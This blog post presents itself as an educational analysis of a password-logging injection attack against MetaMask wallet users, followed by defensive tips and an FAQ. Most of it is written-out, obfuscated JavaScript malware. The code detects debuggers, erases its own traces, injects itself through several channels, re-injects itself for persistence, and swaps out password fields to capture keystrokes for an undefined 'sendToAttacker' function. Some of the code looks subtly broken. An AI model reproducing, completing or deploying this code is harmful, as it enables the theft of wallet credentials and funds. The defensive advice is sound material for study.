- Updated Date
Mohamed HabbatAuthor
Sophisticated Password Logger Injection with Real Obfuscation in MetaMask
Share:
Introduction
The Web3 landscape continues to evolve at breakneck speed, bringing with it not just innovation but also increasingly sophisticated security threats. As someone deeply immersed in this space, I've been tracking a particularly concerning trend: advanced attacks targeting cryptocurrency wallets, especially MetaMask, which according to ConsenSys reports has over 30 million monthly active users.
While analyzing recent security incidents, I came across an attack vector so cleverly engineered that it deserves a thorough breakdown. MetaMask, being one of the most widely adopted Ethereum wallets, has become a prime target for attackers looking to compromise digital assets. The FBI has even issued warnings about the increasing sophistication of crypto wallet attacks.
In this article, I'll walk you through the mechanics of a sophisticated password logger injection technique I've studied. My goal is educational - by understanding how these attacks work, we can better defend against them. I want to emphasize that all code presented here should only be used for learning purposes and strengthening your security posture, never for malicious activities.
Understanding Code Obfuscation Techniques
What immediately struck me about this attack was its use of advanced code obfuscation. Rather than using straightforward malicious code that security tools could easily flag, the attackers implemented a clever mapping system:
const _0x = (function () {
const _0xkeys = {
inj: 'injectPasswordLogger',
dbg: 'isDebuggerPresent',
sfd: 'selfDestruct',
obf: 'obfuscateCode',
dtm: 'detectMetaMask',
int: 'interceptMetaMaskPassword',
snd: 'sendToAttacker',
loc: 'locateMetaMaskInterface'
}
return function (_0xk) {
return _0xkeys[_0xk]
}
})()
This isn't your run-of-the-mill obfuscation. The attackers created what I'd call an obfuscated reference system - instead of calling suspicious functions directly (which might trigger security tools), they use _0x('inj') to reference injectPasswordLogger. This simple technique makes static analysis significantly more challenging and helps the malicious code fly under the radar of security tools looking for specific function names. According to OWASP's Code Injection Prevention Cheat Sheet, these obfuscation techniques are increasingly common in bypassing traditional security measures.
Anti-Debugging Mechanisms
What I found particularly clever was how the code actively fights against analysis. Look at this timing-based debugger detection:
function isDebuggerPresent() {
const _0x12 = performance.now()
debugger
return performance.now() - _0x12 > 100
}
It's deceptively simple but highly effective. In normal execution, the debugger statement passes by in milliseconds. But when someone like me tries to analyze it with a debugger attached, the execution pauses, creating a noticeable time difference. If this difference exceeds 100ms, the code realizes it's being debugged and takes evasive action:
function selfDestruct() {
delete window['__' + atob('aW5qZWN0ZWQ=')]
Object.keys(window).forEach(_0x13 => {
if (_0x13.startsWith('__')) delete window[_0x13]
})
}
This self-destruct routine wipes traces of the malicious code from the global window object, making forensic analysis substantially more difficult. I've seen many attacks in the wild, but this level of counter-forensics demonstrates a concerning level of sophistication. The Mozilla Developer Network documents how the debugger statement works, but it's rarely discussed as an anti-forensics tool.
Multi-Layer Obfuscation Strategies
The deeper I dug, the more layers I found. The obfuscation strategy isn't one-dimensional; it employs multiple techniques working in concert:
function obfuscateCode(_0x14) {
const _0x15 = [
() => btoa(_0x14).split('').reverse().join(''),
() =>
_0x14.replace(/[a-zA-Z]/g, _0xm =>
String.fromCharCode(_0xm.charCodeAt(0) + 1)
),
() => {
let _0x16 = ''
for (let _0xi = 0; _0xi < _0x14.length; _0xi++) {
_0x16 += String.fromCharCode(_0x14.charCodeAt(_0xi) ^ 0x5)
}
return _0x16
}
]
const _0x17 = _0x15[Math.floor(Math.random() * _0x15.length)]()
return `eval((function(){return atob("${btoa(_0x17)}").split('').reverse().join('').split('').map(c=>String.fromCharCode(c.charCodeAt(0)^5)).join('')})())`
}
This function showcases a sophisticated approach to hiding malicious intent:
- Base64 encoding combined with string reversal
- Shifting character codes (essentially a simple substitution cipher)
- XOR operations that transform character codes
- Random selection between different obfuscation methods
- Nested encoding chains that make manual analysis tedious
I've spent many hours unraveling code like this, and I can tell you it's intentionally designed to make security researchers give up in frustration. The resulting code evades automated security tools and requires significant time investment to analyze manually. Microsoft's Security Response Center has noted similar obfuscation techniques being used to evade detection in recent years.
MetaMask Detection Techniques
Before attempting any malicious activity, the code first confirms MetaMask is present - and it does so with impressive thoroughness:
function detectMetaMask() {
const _0x18 = [
() => window.ethereum && window.ethereum.isMetaMask,
() =>
window.web3 &&
window.web3.currentProvider &&
window.web3.currentProvider.isMetaMask,
() =>
document.querySelectorAll('[class*="metamask"], [id*="metamask"]')
.length > 0,
() => navigator.userAgent.includes(atob('TWV0YU1hc2s='))
]
return _0x18.some(_0x19 => _0x19())
}
This is notably comprehensive, using four different detection methods:
- Checking for the presence of
window.ethereumwith MetaMask properties - Looking for the web3 provider with MetaMask indicators
- Scanning the DOM for elements containing MetaMask-related class names or IDs
- Examining the User-Agent string for MetaMask references
What impresses me (in a concerning way) is the redundancy. This approach ensures the attack has the highest chance of correctly identifying MetaMask, regardless of how it's integrated into the browser environment. The MetaMask Provider API Documentation even warns about detection techniques that could be used maliciously.
Injection Techniques Analysis
Now we get to the heart of the attack - the injection mechanism itself:
function injectPasswordLogger() {
const _0x1 = window[_0x('dbg')]()
if (_0x1) {
window[_0x('sfd')]()
return
}
const _0x2 = new Promise(_0xr => {
setTimeout(() => _0xr(window[_0x('dtm')]()), Math.random() * 100 + 50)
})
_0x2.then(_0x3 => {
if (!_0x3) {
console.log(atob('TWV0YU1hc2sgbm90IGRldGVjdGVkLCBhYm9ydGluZw=='))
return
}
const _0x4 = window[_0x('obf')](
atob('KA') +
window[_0x('int')].toString() +
atob('KTs=') +
window[_0x('int')] +
'();'
)
const _0x5 = [
() => {
const _0x6 = document.createElement(atob('ZGl2'))
const _0x7 = _0x6.attachShadow({ mode: atob('Y2xvc2Vk') })
const _0x8 = document.createElement(atob('c2NyaXB0'))
_0x8.textContent = _0x4
_0x7.appendChild(_0x8)
document.body.appendChild(_0x6)
return _0x6
},
() => {
const _0x9 = document.createElement(atob('c2NyaXB0'))
_0x9.textContent = _0x4
const _0xa = new MutationObserver(() => {
document.head.appendChild(_0x9)
_0xa.disconnect()
})
_0xa.observe(document.documentElement, { childList: true })
return _0x9
},
() => {
const _0xb = new Blob([_0x4], { type: atob('dGV4dC9qYXZhc2NyaXB0') })
const _0xc = new Worker(URL.createObjectURL(_0xb))
return _0xc
}
]
const _0xd = _0x5[Math.floor(Math.random() * _0x5.length)]
let _0xe
try {
_0xe = _0xd()
setTimeout(
() => {
if (_0xe instanceof HTMLElement) {
_0xe.remove()
} else if (_0xe instanceof Worker) {
_0xe.terminate()
}
},
Math.random() * 5000 + 1000
)
const _0xf = setInterval(() => {
if (!window['__' + atob('aW5qZWN0ZWQ=')]) {
clearInterval(_0xf)
window[_0x('inj')]()
}
}, 2000)
window['__' + atob('aW5qZWN0ZWQ=')] = true
console.log(atob('U29waGlzdGljYXRlZCBpbmplY3Rpb24gY29tcGxldGVk'))
} catch (_0x10) {
console.error(atob('SW5qZWN0aW9uIGZhaWxlZA=='), _0x10)
const _0x11 = document.createElement(atob('c2NyaXB0'))
_0x11.textContent = _0x4
document.head.appendChild(_0x11)
_0x11.remove()
}
})
}
What's remarkable here is the multiple injection vectors employed - it's like watching someone try to pick a lock while simultaneously attempting to climb through a window and tunnel under the wall. The attack uses three distinct injection methods:
- Shadow DOM Injection: Creating a closed shadow DOM (a technique meant for component encapsulation) to hide the malicious script from standard DOM inspection tools
- Mutation Observer Injection: Using DOM mutation observers to inject the script when the DOM changes - a technique that can bypass certain security monitoring tools
- Web Worker Injection: Creating a separate execution context using Web Workers, which run in background threads
This redundancy significantly increases the chances of a successful attack. Beyond that, the code includes self-healing mechanisms - if the malicious code is somehow removed, it will re-inject itself:
const _0xf = setInterval(() => {
if (!window['__' + atob('aW5qZWN0ZWQ=')]) {
clearInterval(_0xf)
window[_0x('inj')]()
}
}, 2000)
The persistence mechanisms here remind me of advanced malware techniques I've seen in traditional cybersecurity - they've been adapted for the Web3 world. The MITRE ATT&CK framework categorizes these types of JavaScript-based attacks as increasingly sophisticated persistent threats.
Password Interception Mechanics
At the core of this attack is the actual password interception function:
function interceptMetaMaskPassword() {
window['__' + atob('aW5qZWN0ZWQ=')] = true
function _0x1a() {
const _0x1b = window[_0x('loc')]()
if (!_0x1b) return false
try {
const _0x1c = _0x1b.document.querySelector(
atob('aW5wdXRbdHlwZT0icGFzc3dvcmQiXQ==')
)
if (_0x1c) {
const _0x1d = _0x1c.cloneNode(true)
const _0x1e = _0x1d.cloneNode(true)
_0x1e.addEventListener(atob('aW5wdXQ='), function (_0x1f) {
window[_0x('snd')](atob('cGFzc3dvcmQtaW5wdXQ='), _0x1f.target.value)
const _0x20 = _0x1e.closest(atob('Zm9ybQ=='))
if (_0x20) {
_0x20.addEventListener(atob('c3VibWl0'), function () {
window[_0x('snd')](atob('cGFzc3dvcmQtY29tcGxldGU='), _0x1e.value)
})
}
})
_0x1c.parentNode.replaceChild(_0x1e, _0x1c)
return true
}
} catch (_0x21) {
console.error(atob('RmFpbGVkIHRvIGhvb2sgcGFzc3dvcmQgZmllbGQ='), _0x21)
}
return false
}
const _0x22 = setInterval(() => {
if (_0x1a()) {
clearInterval(_0x22)
console.log(atob('UGFzc3dvcmQgZmllbGQgaG9va2VkIHN1Y2Nlc3NmdWxseQ=='))
}
}, 1000)
}
This is where the real magic (or malice) happens. The attack:
- Locates MetaMask's interface through iframes or direct DOM access
- Identifies password input fields within that interface
- Creates perfect clones of these fields (preserving their appearance and behavior)
- Adds event listeners to capture all input events
- Replaces the original fields with these malicious clones
- Sends captured passwords to the attacker
What makes this approach so dangerous is that it maintains the visual appearance and functionality of the original interface. Users would have no idea that their password is being captured as they type. It's digital sleight of hand at its finest. The SANS Institute has documented similar "man-in-the-browser" techniques that modify DOM elements to capture credentials.
Locating MetaMask Interfaces
The attack's thoroughness extends to how it locates MetaMask interfaces across different integration methods:
function locateMetaMaskInterface() {
try {
if (window.ethereum && window.ethereum.isMetaMask) {
const _0x25 = document.getElementsByTagName(atob('aWZyYW1l'))
for (let _0x26 of _0x25) {
if (
_0x26.src.includes(atob('bWV0YW1hc2s=')) ||
_0x26.id.includes(atob('bWV0YW1hc2s=')) ||
_0x26.className.includes(atob('bWV0YW1hc2s='))
) {
return _0x26.contentWindow
}
}
}
const _0x27 = window.frames
for (let _0x28 of _0x27) {
if (
_0x28.location.href.includes(atob('bWV0YW1hc2s=')) ||
_0x28.document.title.toLowerCase().includes(atob('bWV0YW1hc2s='))
) {
return _0x28
}
}
const _0x29 = document.querySelectorAll(
atob('W2RhdGEtdGVzdGlkKj0ibWV0YW1hc2siXSwgW2NsYXNzKj0ibW0tIl0=')
)
if (_0x29.length > 0) return window
} catch (_0x2a) {
console.error(atob('RXJyb3IgbG9jYXRpbmcgTWV0YU1hc2sgaW50ZXJmYWNl'), _0x2a)
}
return null
}
This function is like a bloodhound for MetaMask. It employs multiple strategies:
- Searching through iframes for MetaMask-related content
- Examining window frames for MetaMask indicators
- Looking for specific DOM elements with MetaMask data attributes or CSS classes
I'm particularly impressed by how thorough this approach is - the attackers clearly understand that MetaMask can be integrated in different ways depending on the application, and they've written code to handle all these scenarios. According to Chainalysis's 2023 Crypto Crime Report, these sophisticated tactics are part of a broader trend in targeted crypto theft schemes.
Security Implications and Protective Measures
After spending considerable time analyzing this attack vector, I've developed a deeper appreciation for the security challenges facing Web3 users. So, what can we do to protect ourselves?
For MetaMask Users:
Install Only from Official Sources: This might seem obvious, but always install MetaMask from their official website or verified app stores. Avoid following links from emails or chat messages claiming to be MetaMask-related.
Keep Extensions Updated: Security updates often address newly discovered vulnerabilities. When MetaMask releases an update, install it promptly. The MetaMask Support Center provides instructions on keeping your wallet updated.
Use Hardware Wallets Where Possible: Hardware wallets like Ledger or Trezor add an extra physical layer of security that can protect you even if your browser is compromised. MetaMask officially supports integration with these devices.
Enable Enhanced Security Features: MetaMask has been adding more security features like AppCheck. Enable all available security options.
Always Verify Website Authenticity: Before connecting your wallet to any site, verify the URL carefully. Watch for subtle misspellings or character substitutions. The Ethereum Foundation recommends using browser extensions that flag phishing sites.
Never Enter Seed Phrases on Websites: Your seed phrase should never be entered on any website - MetaMask will never ask you to do this through a website. As ConsenSys confirms, legitimate requests will never ask for this information.
For Web3 Developers:
Implement Content Security Policies: A properly configured CSP can help prevent unauthorized script execution. The MDN Web Docs provide excellent guidance on implementing effective policies.
Use Subresource Integrity: SRI ensures your scripts haven't been tampered with during delivery. Google's Web Fundamentals offers detailed implementation guidance.
Monitor DOM Modifications: Implement systems to detect suspicious DOM changes, particularly around authentication components. Tools like DOMPurify can help sanitize content.
Educate Your Users: Provide clear security guidelines for users of your applications. CoinCenter offers excellent educational resources you can reference.
Regular Security Audits: Invest in frequent security assessments of your applications - they're worth every penny. Organizations like OpenZeppelin and Trail of Bits specialize in Web3 security audits.
FAQ
What is a password logger injection attack?
It's a technique where attackers inject code into websites that records passwords as you type them. In the crypto world, these attacks specifically target wallet passwords to gain unauthorized access to your digital assets. Think of it as a digital eavesdropper watching over your shoulder as you unlock your wallet.
How do attackers obfuscate malicious code?
They use a collection of techniques to make their code difficult to analyze: base64 encoding, character code manipulation, XOR operations, variable name obscuring, and multiple layers of encoding. It's like writing in a secret code that computers can understand but humans find extremely difficult to read.
What injection methods do attackers use for MetaMask?
Attackers employ multiple techniques: Shadow DOM injection with closed mode (hiding code in a protected DOM subtree), script tag injection through mutation observers (sneaking code in during DOM changes), and Web Worker injection (running code in background threads). These varied approaches help them bypass different security measures.
What anti-debugging techniques do attackers employ?
These include timing checks that can detect when a debugger is present, self-destruct mechanisms that remove evidence when being analyzed, and code that intentionally behaves differently when under observation. It's similar to how some wildlife freezes when it senses it's being watched.
How can users protect themselves from MetaMask attacks?
Use official sources for installation, keep everything updated, consider hardware wallets for additional security, enable all security features, carefully verify website authenticity before connecting, and never share your seed phrase digitally.
What techniques are used to detect MetaMask presence?
Attackers look for the window.ethereum object, check web3 providers, scan the DOM for MetaMask-related elements, and analyze the User-Agent string. They're essentially looking for any fingerprint that indicates MetaMask is installed.
How do attackers intercept MetaMask passwords?
They find password fields in the MetaMask interface, create perfect clones with hidden event listeners attached, and seamlessly swap them with the originals. Users continue typing their passwords into what appears to be the legitimate interface, completely unaware their credentials are being captured.
Conclusion
Diving into the mechanics of these sophisticated attacks has been both fascinating and concerning. The level of technical sophistication demonstrated shows that attacks on cryptocurrency wallets have evolved far beyond simple phishing attempts. We're now dealing with attackers who understand browser internals, DOM manipulation, and security evasion techniques at an expert level.
What's particularly striking is how these attacks combine concepts from traditional malware (obfuscation, anti-debugging, persistence) with Web3-specific techniques targeted at cryptocurrency wallets. This convergence signals a maturing of the threat landscape in the blockchain space, something the Web3 Security Alliance has been warning about.
For those of us building in Web3, understanding these attack vectors isn't optional—it's essential. Every technique we identify and understand is one we can defend against. As security professionals, we're engaged in an ongoing chess match with increasingly sophisticated adversaries.
I hope this breakdown helps you appreciate the complexity of modern crypto attacks and, more importantly, take concrete steps to protect yourself and your users. The decentralized web offers tremendous potential, but it also requires a new security mindset—one where vigilance and education are our most powerful tools. Organizations like the Blockchain Security Alliance and Immunefi are working to raise awareness and standards across the ecosystem.
This analysis is provided purely for educational purposes. Understanding these techniques helps us build stronger defenses and better protect our digital assets in the evolving Web3 landscape.
At Bi·Catalyst, we specialize in engineering and developing custom software tailored to your unique needs. If you have an idea you want to bring to life, don't hesitate to get in touch. with us, and let's transform your vision into reality. Your journey to bespoke software solutions begins here with Bi·Catalyst.💡
